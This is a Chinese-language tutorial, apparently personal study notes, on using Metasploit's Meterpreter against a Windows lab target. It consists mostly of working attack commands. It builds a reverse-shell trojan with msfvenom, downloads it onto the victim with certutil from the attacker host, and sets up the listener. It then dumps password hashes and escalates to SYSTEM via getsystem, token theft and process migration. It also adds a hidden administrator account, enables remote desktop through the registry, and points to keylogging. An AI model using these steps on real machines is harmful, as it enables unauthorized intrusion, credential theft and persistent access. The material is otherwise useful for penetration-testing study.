meterpreter是metasploit中的一個殺手鐧,通常在漏洞利用成功后,會返回給攻擊者一個攻擊通道,其中有很多自動化操作
場景布置
生成木馬
首先,我們使用metasploit中的另一個后門工具msfvenom
生成一個木馬,方便我們測試meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=1234 -f exe -o /root/shell.exe
在/root目錄生成了一個shell.exe文件,執行該程序回連地址為172.16.1.103端口為1234的木馬
將木馬共享到windows電腦
service apache2 start
打開Web服務
cp /root/shell.exe /var/www/html/
,拷貝到Web服務目錄
在靶機中執行命令下載木馬到C:\
根目錄並使用dir
查看
certutil -urlcache -split -f http://172.16.1.103/shell.exe C:\shell.exe
在msfconsole
控制台執行監聽
- [use exploit/multi/handler]
[set payload windows/meterpreter/reverse_tcp]
[set LHOST 172.16.1.103]
[set LPORT 1234]
[run] 開始監聽即可
靶機執行shell.exe即可反彈meterpreter
meterpreter的使用
meterpreter最出名的就是其接口的方便性,提權,各種命令應有盡有
help查看幫助
會顯示所有命令的幫助信息,例如background
后台運行我們的會話
background后台運行我們的會話
如果想要連接我們的會話,使用msfconsole
中學習的sessions
命令可以來連接
sysinfo 查看靶機系統相關信息
exit斷開並退出會話
exit
會把會話直接斷開
對文件操作的有這些
很容易理解,這些和linux使用的方法是一樣的,這里不在一一使用
注意的是:meterpreter中的操作是相對於會話中對我們靶機的操作,而不是攻擊機本身
getuid 查看當前會話權限
發下我們獲取的管理員的權限,因為是管理員執行的我們的木馬。如果是一個低權限用戶執行的我們的木馬,那么我們的獲取的會話也是低權限的用戶
getsystem 獲取操作系統權限
system:操作系統權限
這個操作大部分情況下是不成功的,因為這個操作是只有我們獲取的會話是管理員權限
,才可以提權為system
權限
那么為什么要獲取system
權限呢,獲取system
權限我們可以直接使用hashdump
把密碼hash值導出,使我們對靶機的控制更加方便
hashdump 導出系統中密碼的hash值
通過 sam 文件導出系統用戶的 hash值,前提是需要獲取system
權限,有時候獲取了system
權限我們也無法執行
但是,msfconsole
中有導出hash的模塊,需要在meterpreter
中run 模塊路徑
執行
run post/windows/gather/smart_hashdump
獲取hash
shell 進入會話靶機終端
這里的權限會跟隨meterpreter的權限
若想返回meterpreter控制台,輸入exit
退出即可
在進入命令行后,中文可能出現亂碼
chcp 65001
將終端編碼改為英文即可
run getgui -e 開啟遠程遠程桌面
可以試一試能不能開啟,權限越高,越容易開啟
這里使用了netstat
查看靶機端口的開放情況,可以看到3389
端口已經被我們開啟
開啟后,如果我們通過hashdump
破解的管理員或者其他用戶的密碼,可以使用用戶名密碼直接連接
當然我們也可以主機創建用戶
net user hacker Admin123 /add
和net localgroup administratos hacker /add
創建hacker用戶並將hacker用戶加入管理員組
若run getgui -e
沒有開啟3389遠程桌面
,我們可以使用cmd命令
打開3389服務
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用netstat -an
查看
netstat 查看靶機端口開放狀態
ps 查看靶機進程
會顯示靶機運行的進程的進程號,父進程號,運行的名稱,多少位,運行的用戶是,運行的程序的位置
進程號很有用,后面有兩個關於進程的提權
steal_token 竊取用戶進程令牌
在系統中,一個程序需要用戶來運行,運行到內存中就變成了進程,steal_token
可以偽裝為指定進程的所運行的用戶
例如notepad.exe是Administrator用於運行的
,那么steal_token
只需要指定notepad.exe
的進程號,就可以將我們的權限偽裝為Administrator
ps 查看進程
可以看到svchost.exe
的進程為1268
,運行的用戶是NT AUTHORRITY/SYSTEM
,擁有system
權限的system用戶
steal_token 1268
偽裝system
在我們偽裝后,權限就變為了system
migrate 內存遷移
這個內存遷移
就是將我們現在反彈shell的進程轉換到一個安全的進程上,作用和steal_token
差不多,不一樣的是steal_token
只是已這個進程的權限執行命令,而我們是直接切換到了這個進程,如果將該進程殺死,我們的shell
也會關閉,不過一般執行該操作也需要得到system
或管理員
的權限
ps 查看進程
conhost.exe
的進程為2200
,運行的用戶是Administrator
使用內存遷移,獲取administrator
,這里我們的權限是system
,可以說一個權限的降級
注意,這里只是為了演示進行的降級,一般情況下,肯定權限越高越好
migrate 2200
通過getuid
獲取到現在是Administrator
權限
當使用內存遷移
的時候,建議不要遷移到低權限
的用戶,不然權限會變低,而且無法提升權限
遷移到另一個進程將有助於 Meterpreter
與其交互。例如,如果您看到一個文字處理器在目標上運行(例如 word.exe
、notepad.exe
等),您可以遷移到它並開始捕獲用戶發送到該進程的擊鍵。某些 Meterpreter 版本將為您提供keyscan_start
、 keyscan_stop
和keyscan_dump
命令選項,使 Meterpreter 像鍵盤記錄器一樣工作。遷移到另一個進程也可以幫助您擁有更穩定的 Meterpreter 會話。
要遷移到任何進程,您需要鍵入 migrate
命令,然后鍵入所需目標進程的 PID
load 加載其他插件
在meterpreter
中也可插入其他插件,例如mimimatz
,不用下載,在meterpreter中有內置
在help
中會有mimikatz
插件的幫助
mimikatz還沒有學習,后續學習